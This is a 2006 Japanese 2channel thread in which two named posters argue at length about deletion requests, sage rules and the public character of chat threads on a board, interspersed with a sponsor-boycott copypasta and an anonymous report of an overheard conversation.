103 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:03:10 ID:oXrvRfTG
スレの形式(スレタイ)=公益にかなっていて、削除できない(公共性有り)。
スレの内容(中のレス)=なにやら固定したメンバーが内輪話をして、排他的。

この状況の解決策。
1、削除要請する。
2、使用者に注意する。あるいは、使用者がオープンを心がけてると言い張る。
3、スレの使用法を冒頭に書く(あるいは適切なものに変える)
4、スレタイを変えて、公共性をなくす。

答えは明らかに2か3であり、1は不適切。1であれば、
もし「荒らしが来た→使用状況が無茶苦茶(使用法がまずい)」になったら、
自治スレを削除しなければならないわけで、荒らしの思惑通り。こんな無茶なことはない。
で、2か3だが、スレの主要な使用者が自ら「自由に使う(ただのスレと同じように使う)」
と言い張ってるし、注意が効果を持つ掲示板ではない。それゆえ、3か4でなんとかするしかない。

なー。
お仲間が開き直ってるせいで、最も一般的な2の言い訳が出来なくなってるんだよ?
あくまで「自由に書いて何が悪い」なら、スレが排他的状況になるのを抑制する術がない。
おまえらじゃなくても、誰かが排他的に使えば、「自由に書いて何が悪い」を妥当としたとき
何も文句が言えない。

104 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:03:45 ID:oXrvRfTG
>>80 名前: 同期の桜@極東 ◆DoukiJieKQ
>>「しかし以下も答えてるのにねぇ・・・何百回答えればいい? 」
>>なんて返答が非難されるのに、よく平気で同じ返答ができるな。
>>オレは、「答えていると言うなら現物(スレ番)示せ」 と言ってるわけ。
>現物も前スレで出してるんだけど・・・・
>出したところのレス部分はおまいが華麗にスルーしてるけども。

おまえさー。そういう無駄なことをわざわざ書くのはやめてくんない?
「何時になっても現物出さない」
「出してる」
「何時になっても現物出さない」
「出してる」
こんなこと続けて何が楽しいの?
相手は現物ださなきゃ、納得しないよ。だって、当人が見た限り無いんだもん。
自分のレスなんだから、出せばいいじゃん。
オレなんか無茶なこと言ってるか?
しかも、オレの方は「無い」を示すのが困難なのに、
無いことを示す傍証まで出してんだぞ。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/303

105 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:04:11 ID:oXrvRfTG
>>80 名前: 同期の桜@極東 ◆DoukiJieKQ
>なわけだから
>そのレスは「庵様は何にもしないけど必要なやつがスレ立てるなりなんなりすれば?」ってことなわけだ。

だからそれが何なの?
オレが検証に合意してるとか、ごくとうの行為をオレが「これでオレの問題はクリアだが」と言ったのが
独断になったりすんのか?
ちゃんと論理的に話せよ。

>それに対しておまいが新しくスレ立てて名前を変えるなり、定期上げするなりしたのかと聞いているんだが。

だから、オレの基本的立場は http://tmp6.2ch.net/test/read.cgi/asia/1139574674/14
強攻策をとっても解決するかもしれんが、それは最適な方向じゃないと。
それをねじ曲げるようなことを求めても、オレが従うわけじゃない。
それが何なの?
ちゃんと言ってみろよ。
単に「これが当然すべきことだ」と決め付けて「それをやってないから、おまえは不当」なんて
騒いでるだけじゃん。

106 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:04:34 ID:oXrvRfTG
>>81 名前: 同期の桜@極東 ◆DoukiJieKQ
>スレの内容を読んでる人がどのくらいいるかは知らんが、適当なこと書けばいいってんなら各レスに1行レスしかせんよ。
>その場しのぎならこんなに長い文章書かないし。

おまえさー。

「何時になっても現物出さない」
「出してる」
「何時になっても現物出さない」
「出してる」

こんな遣り取りを、どういう見込みをもってやってるわけ?
マジで不思議なんだが?
「出してる」と言い張れば、相手が根負けするとでも思ってるわけ?

>自明な間違いねぇ。反論が続いてるのに(どこが反論なんだ!現物で示せとか言うと思うが)

いや結構だよ。反論が続いてるんだろ?
続けようぜ。
オレはこれは無茶苦茶自明な間違いだから、どうにも言い逃れができなくなると思ってるから。
で、それとともに、これほど自明なことを認められなきゃ、公共性を認めるなど
まず考えられないと思ってるから。

高望みの議論をする前に、これ(>>7)にけりを付けてね。

107 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:05:31 ID:oXrvRfTG
>>82 名前: 同期の桜@極東 ◆DoukiJieKQ
>だから無かったことになんかしなくてもいいよ。
>が、「同期の桜@極東 ◆DoukiJieKQ が」が主語になってる時点で
>「このスレは」とか「ローカルルールが」とかを扱う自治スレにおいて
>適切な案件であるとはいえない。わしを主題に扱うなら外でやるべきだろ。

またテキトーな言い逃れのために、暴論を吐く。
どうすっかな。これ。

どんなものでも議論になれば「おまえはこう言ってただろ?」と
人物が主語になるのは当たり前。

というか、おまえの脳内って丸わかりなんだよ。
これもそうだが、「架空の事例」もそうだが、
どうしてそういう誤解をしてるか、バレバレ。
2chでは、「コテ叩きはよくない」とか
「厨な例コピペ」で流行った「有り得ない例を持ち出す」とか、
そういうもんが、無批判に信じられてたりする。
それによって、おまえのように誤解してるヤツがウヨウヨいるわけ。
前者は厳密に言えば、議論排除になるし、後者は端的に間違ってる。
よくないのは「有り得ない(架空)」ではなくて、「有り得ないことを有り得ると言うこと」。
さっき「光速近く速さで進む宇宙船」なんて話(相対性理論の話だな)をしてたんだが、
この話で、「こうなる」と主張されてるのは、時間がどうなるかとか、景色がどうなるかということ。
始めから架空の話として言ってるんだから、「光速近く速さで進む宇宙船が有り得る」なんて言ってるわけじゃない。
つまり、「こうなる」を適切に言ってれば、例題が無茶苦茶になるわけじゃない。
極めてまれに「光速近くで飛ぶ飛行機があれば、制限時間までにニューヨークに着くから、(間に合うとかが)正しい」
とかアホなことを言うヤツがいる。それをダメだと言うべきところ、
「有り得ない例を持ち出す」と、「架空の例はダメ」という文になってるから誤解が生じてるわけ。

108 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:05:53 ID:oXrvRfTG
>>82 名前: 同期の桜@極東 ◆DoukiJieKQ
>雑談系の中にさーdat落ちした物まで混ぜて多い!とか言わないでくれる?w

今の話じゃないのに、dat落ちがどーのなんて言わないでくれる?
リストを作った時は生きてたんだよ。
つーか、そんなことでどうして論旨が否定できるんだ?
3以下にまで経るとでも思ってるのか?

>1、削除依頼してるけど?

雑談を理由にだぞ?おい

>2、公平な判断を求めるいい機会だろ。

だから?

>3、行くことを無駄だと思うかどうかはおまいの勝手だが、
>削除の判断によって違反(違反であればの話)だという明確な基準をもらえるのにね。

だから?

>4、そんなもんはおまいが決めれ。ダメだと思われたものは削除されるし
>残せると思われたものは残るし。

は?
これで何か反論になってるか?

109 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:06:12 ID:oXrvRfTG
>>82 名前: 同期の桜@極東 ◆DoukiJieKQ
>A、だからー落ちたもんまで混ぜて需要がある点は否定できないとか言うなよw

それ以前にシリーズスレだろが、既に最低1スレは消費してるわけ。

>>B、同期の桜@極東 ◆DoukiJieKQ はこの検証なるもので判明したとする「需要」を理由に
>>  問題の雑談スレを、削除対象から外すつもりのようだが、これを特別視する理由にはならない。
>B、誰がそんなこといったんだ?最初から削除依頼してこいって言ってるじゃん。

はあ?じゃあ何なの?検証ってのは?
おまえの中の「つもり」にもならない検証なんてどういう意味があるんだ?
単に無駄なことをしたと言い出すのか?
それと、「最初から、削除依頼してこい」とこれとは別だろが。

>D、おまいが勝手に決めて解決した!!ってなったことが運営に行かないで解決した
>ということにはならんよ。

相変わらずの拡大解釈。
で、

D、いずれにせよ(BでもCでも)、検証という作業によって、スレに対して向けられた問題が解決するということは
  運営逝かずに問題が解決するということであり、「運営逝かなきゃ話にならない」と矛盾する。

この矛盾はどうすんの?
オレがどーのなんて言っても、おまえの矛盾は解決しないよ。

110 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:06:36 ID:oXrvRfTG
>>83 名前: 同期の桜@極東 ◆DoukiJieKQ
>スレタイによって占拠されるっておまいこのスレ占拠してるの?

わらかすな。スレの占拠じゃなくて、ニッチの占拠だ。
というか、ニッチ論が分からないならそう言えよ。

で、>>70の本来の論旨である「自治スレを削除しても何も解決しない」はスルーか?

>2が通じなかったら1を講じて3をやるのが一番適切なんだけどねぇ。

例えば、
★ 喫茶居酒屋「昭和」 二十四日目 ★
http://tmp6.2ch.net/test/read.cgi/asia/1142958454/l50

このシリーズが不当とするスレ削除と、これのどれかが不適切(何日目かが)である
スレ削除は、まったく違う。3をやるにしても、「新スレ立てて、
重複状態になったから旧スレ削除する」。このことと、シリーズを排除する削除とは違うわけ。
3に際して、旧スレが削除されること、1を一緒にするな。
1はあくまでシリーズが排除される削除要請だ。
そんなもんを、公共性のあるスレに対してやるべきか?と言ってるわけ。

>1もしなけりゃ3もしない。それで解決するわけがないよな。

ふざけるな。3はしただろが(ごく)。
やったんだが、誰かさんが反故にしただけのことだろが。
始めから言ってるように、強行策をしても、こんな具合なんだから、
スレ立てするヤツを納得させるのが、本筋。

111 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:07:35 ID:oXrvRfTG
で、どうして1になるわけ?
「★ 喫茶居酒屋「昭和」 二十四日目 ★」
これを誰か(オレとか)が無茶苦茶に使った(超排他的に罵倒しまくるとか)。
これで、このシリーズはNGか?
これを必要としてる本来のヤツには何の罪も無いんだぜ?
普通の雑談スレでもこれだが、公的性格があるスレ
「ニュース極東板暫定自治スレ」
これなら、どうだ?
誰かが荒らしまくれば、極東板では自治スレ禁止になるのか?

「使い方が不適切」と「スレ自体が不適切」

ってのは、まったく違うわけ。
「使い方が不適切」で、スレ自体が悪いかのような削除要請してどうすんの?

>だから、ガイドライン違反であれば運営側は削除するし、
>ガイドライン違反でなければ2chで問題がないわけだろ。
>だから削除依頼してこいと(ry

だから、それがすり替えなんだろが。いいか。
「ニュース極東板暫定自治スレ」
↑これは別にガイドライン違反じゃないわな?
で、ある日、このスレの使い方がまずいという意見を言うヤツがいたとする。
「船虫がどーの」でもいいや。この例はぜんぜん有り得るわけだろ?
そういうときに、「文句があるならスレ削除依頼してこい。話はそれからだ」。
削除依頼しても、ガイドライン違反じゃないんだから、削除されないわな。
で、何? これで使い方に関する発議は否定的に解決されたってか?
単に「使用法が悪い」という発議を「無かったこと」にしただけ(スレの適正にすり替えただけ)。
逆に、削除されたらどうすんの?
削除はガイドライン違反だから、自治スレはガイドライン違反か?
無茶苦茶だろ?

112 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:08:15 ID:oXrvRfTG
結局、
SAGE原理主義の話でも言ったように、SAGE進行の雑談スレと
特に規定のない雑談スレが2chにはあって、どちらも特にガイドライン違反になってない。
そこで、「スレの使い方がまずい(排他的)」と言われ、「常時SAGE廃止」をその解決策として
提示された際、「削除要請逝け」と言い張れば、運営で削除されるわけない
(SAGE進行は別にガイドライン違反じゃない)から、おまえらにとって“安泰”ってことだろ?
この点に固執して、本来の論旨を、脳味噌から閉め出してるってのが、おまえら。
問題を過度に単純化してるわけ。

スレが問題になった→スレが適正かどうか削除要請で判断(当然削除されない)

ってな感じだな(>>67)。
だが、事実は、スレそのものが問題になったわけじゃなく、排他的な使用が問題になってたわけ。
#「スレの使用法」と「スレそのものの性格(器)」は別(上記)

そして、排他的使用が問題になるのは、そのスレが公的性格を持ってるゆえのことだから、
これの認定議論を徹底して避けてきた。
そもそも、公的性格があるスレ(=公益のあるスレ)と主張する者が、
「このスレは不当だ」なんて言うわけない。
だから、ただ議論に踏み込んだだけで、「削除要請逝け」に対する違和感が露呈する。
だって、相手が「このスレは公益にかなってる」と言ってるのに、
「削除要請しにいけ」なんて、面と向かって言えるか?
そのため、議論においてどうこうするより、相手が公共性などと言ってないことにする
つまり、まるで議論を拒絶して頓珍漢なことを言い続けるってことなんだろ?

まあ、おまえの内心(これは意識してないだろう)についてだから、
推測にすぎないが、完全に辻褄が合っちゃってるじゃん。
どうすんのこれ?

113 :船虫Jr ◆.Tg2yBtH66 :2006/03/24(金) 01:25:36 ID:oXrvRfTG
>> 同期の桜@極東 ◆DoukiJieKQ

あのさー。全てのレスに答えるのは結構だが、
現物も具体的論拠もなく、「違う!」とかやるのは
まったく意味無いから、やるなよ。

「何時になっても現物出さない」
「出してる」
「何時になっても現物出さない」
「出してる」

↑こんなのスレの無駄遣いだろ?(>>104)。
長文書く余裕があったら、一点でもいいから、現物ベースの具体論を書けよ。
>>7のポイントなんて、

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

なんだから、現物出して、「ほらみろ。合意してた」とやればすむことだろ?
しかも、オレはこれを集中審議としてるんだから、これだけに答えても、
オレは文句は言わない。
何でわざわざ無駄な長文書くわけ?
前半なんて、ほとんど「根拠不提示の決めつけ」のオンパレードだし(>>92は特に強烈)、
後半の微妙なポイント(ニッチとか)なんて、

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

このレベルのことも解決できないで、議論になるわけないぞ?
1つでも現物ベースの具体論をやってみろよ。

114 :日出づる処の名無し:2006/03/25(土) 11:43:33 ID:44DtwQtL
■なぜキリンに絞るのか?やれるところはすべてやるべき。
・基本的にN23の提供スポンサーであればどれを不買対象にしてもかまいません。
 スポットCMの企業に対してもTBSへ資金提供してる以上、抗議をすることも有効かもしれません。
 現在は多くの人が実行しやすく効果の高い「キリン」に対しての不買を一例として上げていますが。
 基本的にスポンサーであればどれを不買してもかまいません。
 不買する場合には抗議も合わせて行うとさらに効果的です。

■キリンはできないけど、佐藤製薬ならできるんだけど。
・キリン不買が目的ではなく、偏向報道の是正が最終目的でありキリン不買は強制ではありません。
 提供スポンサーである以上、抗議する意味があると思います。

■スポンサーには非が無い。かわいそうだ!!
・非が無いという事はないと思います。このNews23という番組の偏向振りは有名です。
 それを理解してスポンサードしてるのなら論外ですが、そうでなくとも企業イメージ
 のかかった番組に、たいしたリサーチもせずに広告を入れるのは迂闊としかいいよう
 がありません。

■News23は視聴率が良いのだから、キリンがやめても他にスポンサーが入るのでは?
・News23自体は視聴率低めだそうです。また、偏向番組を流したことによる抗議が
 スポンサーに行き、そしてスポンサーは降りざる得なかった、この事実だけで充分です。
 こういった前例があれば、全うなリスク管理のできる企業ならばTBSには広告を入れ
 ることはないでしょう。

■キリンがスポンサーやめればパチ、サラ金などが入るだけ、意味なし。
・パチ、サラ金は今後CM規制される可能性ありますし、提供スポンサーがパチ、サラ金
 だらけの報道番組に説得力がありますか?

筑紫23偏向報道・不買運動★28
http://live22x.2ch.net/test/read.cgi/news/1143245019/

115 :船虫Jr ◆.Tg2yBtH66 :2006/03/27(月) 19:07:56 ID:paf4CjBE
ん?
どうやら同期の桜@極東 ◆DoukiJieKQ は入院中のようだな。
とはいえ、今日は暇じゃないので、カキコしない。

まあ、 同期の桜@極東 ◆DoukiJieKQ は、無意味なことをウダウダ書き出す前に、
>>113を読めってことだな。
何の合意してないし、それどころか、懸念を表明してるのに
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/591-615
「合意してる」なんて決め付けられるんだったら、何でも好き勝手に出来ちまうわけだからな。

116 :日出づる処の名無し:2006/03/27(月) 19:12:15 ID:uHXuW6GR
【友達】小学校の旧友を2chで探そ【仲間】2校目
http://bubble2.2ch.net/test/read.cgi/mukashi/1095442422/

自分の生年と過ごした学校の名前と都道府県を書き込み、
同年代かつ同じ学校で過ごした仲間を探すスレです。
まとめサイトもあります。
超マイナーな板にある為過疎化していますが、現在コピペで存在を知らしめ、参加者を募っています。
参加者が多ければ多い程同級生が見つかる確立も上がります。
興味を持った方はご協力宜しくお願いします。


117 :日出づる処の名無し:2006/03/27(月) 23:06:02 ID:71yUKwrs
どこに書き込んだらいいのかわからないので、、、
上野公園で花見をしていました
多分10時前後です。
場所は不忍池から公園への階段を上がりきったところ

40〜50代のおじさんが電話をしていました
内容は
”明日中国経由で北朝鮮に帰る。直接日本から北朝鮮への移動手段がないから”
”下関に北朝鮮の船がある。上には魚が積んであるが下は武器。”
”トカレフとか手榴弾とか、、、、”
”イランに売る”
”、、、、の倉庫に保管しておけ”(覚えてない)

こんな感じでした
警察に電話をしようと思いましたが、連れが否定
日本語で話している事。(個人的見解ではかなり流暢だけども少し、訛りあり)
かなり声がでかく、辺りをはばかっていなかった事
から、釣りじゃないのかと
俺的には何の釣りなんだと、思いましたが、、、
だいたいこういうのは110番?

118 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:38:51 ID:+I8w50ag
>>115
入院とかしてないからw
すごく忙しいのは事実だが。

>>86
「同期の桜がこういう戦術を使っている」ということは
それはわしの頭が考えてそれを使ってるわけだろ?
だから、頭ん中よくわかるなぁと。

そもそも戦術なんてないし。
ないものを出せといわれてもなぁ。

>いいから出せよ。現物出して、どこをどう解釈すると
>「どうでもいいことで自治を蔑ろにしてる」になるのか具体的に論ずればいいだけのことだが。
おまいさーやっぱレスほとんど読んでないだろー。1つ1つ出されないと自分の言ったことすら
わからんようじゃ話にならんよ。

119 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:40:04 ID:+I8w50ag
>>87
>おまえさー。この件は、前スレでやっただろ?
>それを読み直せ。同じことを繰り替えさせるな。
おまい風にいえば現物出せ現物!となるだけだが。

>これも同じ。前スレでやった(→裁判ごっこ)。
>そしてオレ自身の結論は出してる(例の三択)。
ほー結論が出てるのかー。良かったね。
で、結論が出てどうなったんだ?何か進展させた?

>「削除依頼逝け。話はそれからだ」
>にもかかわらず、話をしていたと。そうすると何なの?
ただの暇人かしら。

>この点に関しても、ちゃんと現物ベースでやんなきゃ、しょーがねーだろが。
>で、とにかく、オレは「これは、終了してもかまわない無駄な話」というようなことは認めてない。
>相手が否定してることを前提に、「終止符を打つのは当然のことだ」などとウダウダ書くな。
あのさー裁判ごっこという形でやってるってことはさー当然判決が必要なわけだろ。
おまいがこいつらは有罪だ!としていることに対して
わしらは無罪を主張してるわけだろ。だから、わしの中の結論という意味で無罪判決を出したんだが。
別に3審してもかまわないけどさ。何度やっても同じこと。だから運営で客観的な判断をしてもらえと
何度となく言ってるわけで。

>>88
わしが言ってなくても同調しているってのはその意見に調子を合わせてるってことだろ。
わしは最初から言ってるわけで同調して言ってるわけじゃないんだけど。
その意見に同調して無罪判決のAAを貼ったらそれは同調して貼ったといってもらってかまわないが、
わし自身が運営行けの意見があって無罪判決のAAを貼ってるわけだから、それでは同調して貼ったの根拠に乏しいと。
そんだけ。

120 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:41:58 ID:+I8w50ag
>>89
>だから、>>57-58。これに「一応解決」の意味がどういうものか書いてあるだろが。
>同じことを繰り返させるな。
だからーオレの中で基準満たしたからOKで一応解決ってしたら、(要するにオレ的解決)
わしの中で「運営からこの3ヶ月間で何にも言われてないのでOK」ってことで一応解決!ってしても
問題がなくなっちゃうがそれでいいのか?と。

一応解決ってのはある議論の中でこういった面では双方納得の上、一応解決ですねってやるもんだろ。
で、その後に次のこういった面なんですがと議論が続いていくわけで。自分の中で勝手に解決されても困るだけです。

>レスのタイミングからして、依然として意味不明。
>結局、誤魔化しという意味なんだろ?
>まあ、“不明”だけどね。
おまい自身が結果が出ること自体を否定してるわけだから
相手が何を意味してるのかぐらいはわかってるはずだが。
それなのに意味不明とか言い出してるって事よ。別に意味不明なことでもなんでもないんだが。

>「なんだこれが複線になったのか」が「逆になる可能性」の有無で決まるわけじゃない。
>それと、当時は隠しておいて(意味を明確にせず)、後から、「これが根拠だ」などと
>持ち出すのを称して「複線のつもりだったかよ」と非難してるわけで、
結果を待てばよいといったのは次スレを立てるために言ったわけじゃないんだけども。
結果を待てばよいというのが次スレを立てるという前提のもとにあらかじめ用意されたものなら
それは伏線を張ったといえるだろうが、結果を待ってる状態でどっちになるかわからないし、
「結果を待てばよい」という言葉はどっちに転んでもわしらに有利であるということではない。
ゆえに伏線のつもりだったということはありえない。

121 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:43:34 ID:+I8w50ag
>>90
>つーか、何か。
>こんな抽象的なまとめにレスして、「これについての返答」を
>返答一般にすり替えて、「今も議論してるし、当然返答してる」にしたいわけか?
特に問題がないから次スレとしてってどっかで答えたと思うが。
お前に答える義務はないとか言ったらそらー返答拒否だろうけどな。
次スレとしてときっちり返答してるわけだから拒否ではないわな。

>結果を踏まえるべき「次スレ立て」を先に行い、「どういうこと?」への返答を
>「次スレとして」などと言って誤魔化し、後から「結果が出たが?」を言って
>それなりの論拠を示さないのは、独断以外の何者でもないだろが?
結果が出た→結果が出ていたスレを再利用した→次スレを立てた
これのどこが次スレ立てを先に行いなんだ?
結果はもう出ていてその結果は揺るぎようがなかったわけだろ?
その時点で結果を踏まえて特に問題なしとしたんだが?

122 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:44:18 ID:+I8w50ag
>>91
ほかにも散々書いてるけども大きい例だけ挙げておくわ。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/348
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/403
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/467

オレとごくとうで合意したって書いてあるわけだろ。
おまいとごくとうに共通意識がないのであれば合意というものはそもそも出来ない。
ごくとうは検証のため(これは元祖スレにも書いてある)
おまいはスレが立てばそれでいい。

明確にスレを立てる意味を書いてるわけだから
ごくとうにスレを立てたら船虫Jrが納得するからと言う意はまったく見られない。
そうなると船虫Jr自身が検証することに納得していなければ合意をしたという言葉は使えない。
だが、船虫Jrは検証なんかに合意してない!と言い張るのでごくとうと合意したという
こと自体が嘘になるってこと。

それを根拠に嘘を言っているというのはまったくの矛盾。

>>92
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407
解決することを永久に繰り返してるのはおまいだろ。
前にも言ったが、mustではなくmayであることから
ルールを破ってまでとか言う論理は通用しない。

ありとあらゆる手段があり、その手段を用いれば簡単に終わる話を
終わらせないでずーっとやり続けてることをループさせてるというんじゃ。
永久に終わらない。まさにループだな。


123 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:46:07 ID:+I8w50ag
>>93
>バカ。誰も最終的な解決だとは言ってないわけ。
>問題を提起するヤツがいて、ソイツが言う解決の条件も出されていた。
>これが充たされれば、当然、「その問題」は解決。
最終的な解決でないにしろ、オレは勝手に納得したので解決って
相手もそれで納得してりゃーいいけど現状では相手は納得してないわけだ。
それを一応解決なんて言い張ってそれを根拠にsageスレを立てたのは横暴だという
言い方をするのはおまいが独断で決めたことの結果だろ。非難して当然。

>>94
どこがどうインチキ丸出しなんだ?
スレが立った時点でスレが立ったことにより一応解決だろ?
で、検証のためとスレに書いてあるにもかかわらず、
Aいわく検証なんかくそ食らえと。スレが立ったことが一応解決と。
何処に問題があるんだ?

>そういうおまえは相手が納得してないのを承知で、何の前触れもなくスレ立てたわけだが?
>で、「次スレとして」などという幼稚レスで誤魔化そうとしたと。
>これで何か解決だと思い込んだわけ?
わざわざおまいの許可が要るんだったんか?自治議論中のスレ立てを否定してないよなぁ?
相手が納得していないのなら議論が続くわけだから
特殊な事情で立てられた元祖スレの形式よりも現状通り(sage進行)が基本だろ。
誰かさんみたいにスレが立ったことによって解決なんて思ってないわけだが。

124 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:47:40 ID:+I8w50ag
>>95
>上の「ロハニ」はほとんど同じ意味だな?
>これは、「自治スレでウダウダ議論(検証の議論も含め)してたら、話にならない」と
>言ってる。運営のお墨付き(判断)がないと無意味であると。
ロハニは確かにほとんど同意義だな。
話にならない(無意味)というよりもその方が解決が早いという意味だな。

>運営逝かないのに、何か解決しちゃてるじゃん。
イで解決しちゃってるってだから何か解決したのかと。
わしはおまいに何度も言ったと思うが、「この4ヶ月で何か解決したのか?」
検証結果が出た。これを見て君がどう判断するかだけども?と言ってるのであって
検証結果が出た。これで解決。とは言ってないわけで。
(次スレの話は上で書いたので割愛)

>>96
>普通に逃げ文句じゃん。バカ?
>「これケンカだから(←決め付け)、
>オレの家に来こい(←相手は決め付けを否定してるし、そんなキモいとこに逝きたくない)。
>歓迎するぜ(←は?)」
>こんなんで、議論から遁走するヤツがよくいるわけだが、
>「歓迎」と言えば逃げ文句にならないってか?
何を言うとんじゃ?w
「ここでお前と喧嘩するからな!(←道路のど真ん中」
「オレと?よし歓迎するぜ。でもここじゃ迷惑だから空き地でも行こうぜ!」
「何で空き地なんだよ。さては逃げる気だな?」
「いや、逃げないし・・・」
こんなんで道路の真ん中にいて迷惑になるやつがいるわけで。



125 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:49:36 ID:+I8w50ag
>>97
>というレスを出して、「何かおかしい」と言い張ってた(具体論は相変わらずなし)
はぁ?>>53の何処にそんなことが書いてあるんだ?
また読み間違いか?後半がさらに何を言いたいのかがわからん。
だから公共性について板の顔ということが公共性の理由のひとつになると言っていたが、
雑談が極東板の顔だと言う人がが1%にも満たないくらいのレベルで
雑談=板の顔=公共性があるの根拠には乏しいだろと言ったんだが・・・

>>98
>くだらないこと聞くな。
>オレ「雑談は板に合ってない」
>おまえ「雑談は板に合ってない」
>この状況で何をしようっての?
>何かのすり替え?
別に何にもする気はないが
わしのいう雑談は板にあってないとおまいの雑談は板にあってないは
たぶん温度差があると思うんだよなぁ。

>オレが言ってるのは内容じゃなくて「スレ」特にスレタイ。
スレタイ(公共性)についてはこの間書いたから割愛

126 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:50:37 ID:+I8w50ag
>>99
>実際、単に「自治スレ」と書いたスレを立てたことを想像してみ。
>これは重複スレになるだろ?
>何と重複?
>「極東板自治スレ」しかないじゃん。
極東板自治スレというスレが立ってない状態で自治スレというのが立ったら
別に重複でもなんでもないわけだ。

>この「同一ニッチ(その一つの判定基準は重複になるか)を占めるタイトル」によって
>公共性が決まると。「極東板という名前が付いた」がそのニッチを占める上で必須だと
>言ってるように聞こえる、というなら、言い方を変えてもいいぞ。
その同一ニッチってのがいまいちわからんが、極東板雑談と雑談スレで同一になるものは
「雑談」だろ。で、その雑談が使われることによって初めて公共性が出るわけだろ。
使われなきゃただの糞スレなんだし。

>>100
>読み間違いはおまえ。自分でやってるとは、この自治スレを
>公共のもの(ホンモノ)と認めてるってこと。実際、今回ハッキリしたが、
>扱ってるだけじゃなく、「公共性はあるんだけど・・・ 」なんだろ?
>まさか、「極東板」がつくと逆に公共性がなくなると言い出す?
極東板の冠に公共性の意味があるかどうかって言ってたんじゃなかったのか?
それなら答えはNOだろ。別になくたって自治スレには公共性があるわけだし。

>>101
>↑これなんか、どう見ても、公共性のあるスレだという話にしか読めないが?
>極東板の公益にかなってるってことだろ?
どこをどう読んだらそう解釈できるんだ。雑談ですよといっているだけなんだが。

127 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:52:01 ID:+I8w50ag
>>102
>不満があるなら具体的に言ってね。
削除する人の心得を読めばわかるよ。
「このスレは公的な雑談スレだから、残しておこう」←この文言が如何に愚かであるか。

>そりゃ「立ってれば」って話だろが。前々スレ(現物)はそういう話だっただろが。
>で、だから何?
あのさー2chの慣習ではっていうけど、2chでは大体の板で質問は質問スレでに
なってるわけよ。それを雑談で質問するということを慣習として勝手に解釈するなと。

>オレもこのレスで書いたが、別にオレは「極東板」だけが公共性の印と言ってるわけじゃなく、
>公共性に関してはおまえが言うとおりに、そういう意味(どんな名称であろうとも、極東板自治スレと
>重複関係にあるとされるような意味内容=ニッチ)で言ってる。無印でも公共性はある。
この間まで名称にこだわってたじゃん。それは否定するのか?
無印でも公共性はあるが、かといって雑談が公共性をもっているんだ!という
裏づけにはならんぞ。

>>103
>スレの形式(スレタイ)=公益にかなっていて、削除できない(公共性有り)。
>スレの内容(中のレス)=なにやら固定したメンバーが内輪話をして、排他的。
上でも書いたけどそもそもこの解釈が間違い。

>答えは明らかに2か3であり、1は不適切。1であれば、
>もし「荒らしが来た→使用状況が無茶苦茶(使用法がまずい)」になったら、
>自治スレを削除しなければならないわけで、荒らしの思惑通り。こんな無茶なことはない。
明らかに1が解決策なんだけどなぁ。
違反だったら、どんなスレであれ削除されるんだぞ?
荒らしが来たらレス削除という方式をとって規制議論に荒らし報告すりゃーいいだろ。
だから削除依頼と運営へ行けって何度も何度も(ry
さらに運営系4板は全部見たのかと(ry


128 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:53:25 ID:+I8w50ag
>>104
>おまえさー。そういう無駄なことをわざわざ書くのはやめてくんない?
>「何時になっても現物出さない」
>「出してる」
>「何時になっても現物出さない」
>「出してる」
>こんなこと続けて何が楽しいの?
無駄なことは何一つ書いてないんだけどなー。

129 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:54:35 ID:+I8w50ag
>>105
>だからそれが何なの?
>オレが検証に合意してるとか、ごくとうの行為をオレが「これでオレの問題はクリアだが」と言ったのが
>独断になったりすんのか?
>ちゃんと論理的に話せよ。
あのさー
「庵様は何にもしないけど必要なやつがスレ立てるなりなんなりすれば?」というレスがあり、
「じゃーするぞ!」ということでスレが立てばそれは合意の下だろ。だが、

A「オレ様が検証スレを立てるぞ」
B「スレが立ったから解決だ!」
C「だから検証だっての」
B「C!お前はAとオレが合意のもと得たスレを反故にする気か!」

これってBがスレが立ったことを
自分の都合のいいように解釈して解決したと思い込んでるだろ。
Aはスレが立ったことで解決であるなんて思ってないわけで。

AとCには検証という共通認識があるわけで。
だからBの行為は独断というとんじゃ。

>強攻策をとっても解決するかもしれんが、それは最適な方向じゃないと。
>それをねじ曲げるようなことを求めても、オレが従うわけじゃない。
>それが何なの?
それなら解決しないままなんじゃないの。別にかまわないけど。

130 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:55:37 ID:+I8w50ag
>>106
>こんな遣り取りを、どういう見込みをもってやってるわけ?
>マジで不思議なんだが?
>「出してる」と言い張れば、相手が根負けするとでも思ってるわけ?
見込みなんかないけど?おまいが言うことに反論してるだけー
別に出してると言い張っているつもりもなければ
相手に根負けさせようなんて気はない。

>いや結構だよ。反論が続いてるんだろ?
>続けようぜ。
だから、今月末までな。
